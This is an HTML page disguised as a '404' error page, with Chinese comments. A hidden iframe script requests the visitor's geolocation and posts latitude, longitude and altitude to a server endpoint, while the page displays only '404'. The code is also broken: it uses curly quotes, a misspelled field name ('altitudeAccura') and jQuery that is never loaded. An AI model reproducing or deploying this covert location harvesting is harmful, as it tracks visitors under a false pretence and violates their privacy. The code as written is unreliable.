<!DOCTYPE html>
<html>
<head>
<meta http-equiv=“Content-Type” content=“text/html; charset=UTF-8”>
<title>404</title>
</head>
<body>
<div style=”width:100%;height:100%;text-align:center;font-size:30px;”>404</div>
<script>
var u = navigator.userAgent;
var isiOS = !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/); //ios终端
var options = {
enableHighAccuracy: true,
maximumAge: 30000,
timeout: 12000
}
window.locationCallback = function(err, position){
alert(‘弹弹弹,弹走鱼尾纹!’);
if (err) {
onError(err);
return ;
}
onSuccess(position);
}
// 使用iframe方式来兼容苹果的Safari
var str = ‘<iframe src=”javascript:(function(){ ‘
+‘window.navigator.geolocation.getCurrentPosition(‘
+‘function(position){parent && parent.locationCallback && parent.locationCallback(null,position);}, ‘
+‘function(err){parent && parent.locationCallback && parent.locationCallback(err);}, ‘
+‘{enableHighAccuracy : ‘+ options.enableHighAccuracy +‘, maximumAge : ‘+ options.maximumAge +‘, timeout :’+ options.timeout +‘})’
+‘;})()” style=”display:none;”></iframe>’;
$(str).appendTo(‘body’)
var address = “”;
//定位数据获取成功响应
function onSuccess(position){
address = “纬度:”+position.coords.latitude+“,经度:”+position.coords.longitude+“,海拔:”+position.coords.altitude+
“,水平经度:”+position.coords.accuracy+“,垂直经度:”+position.coords.altitudeAccura;
$.post(“server.php”, { address: address },function(ret){
if(ret.success==true){
}else{
alert(‘失败’);
}
},‘json’);
}
//定位数据获取失败响应
function onError(error) {
switch(error.code)
{
case error.PERMISSION_DENIED:
alert(“您拒绝对获取地理位置的请求”);
break;
case error.POSITION_UNAVAILABLE:
alert(“位置信息是不可用的”);
break;
case error.TIMEOUT:
alert(“请求您的地理位置超时”);
break;
case error.UNKNOWN_ERROR:
alert(“未知错误”);
break;
default:
alert(“我也不知道为啥会报这个错”);
break;
}
}
</script>
</body>
</html>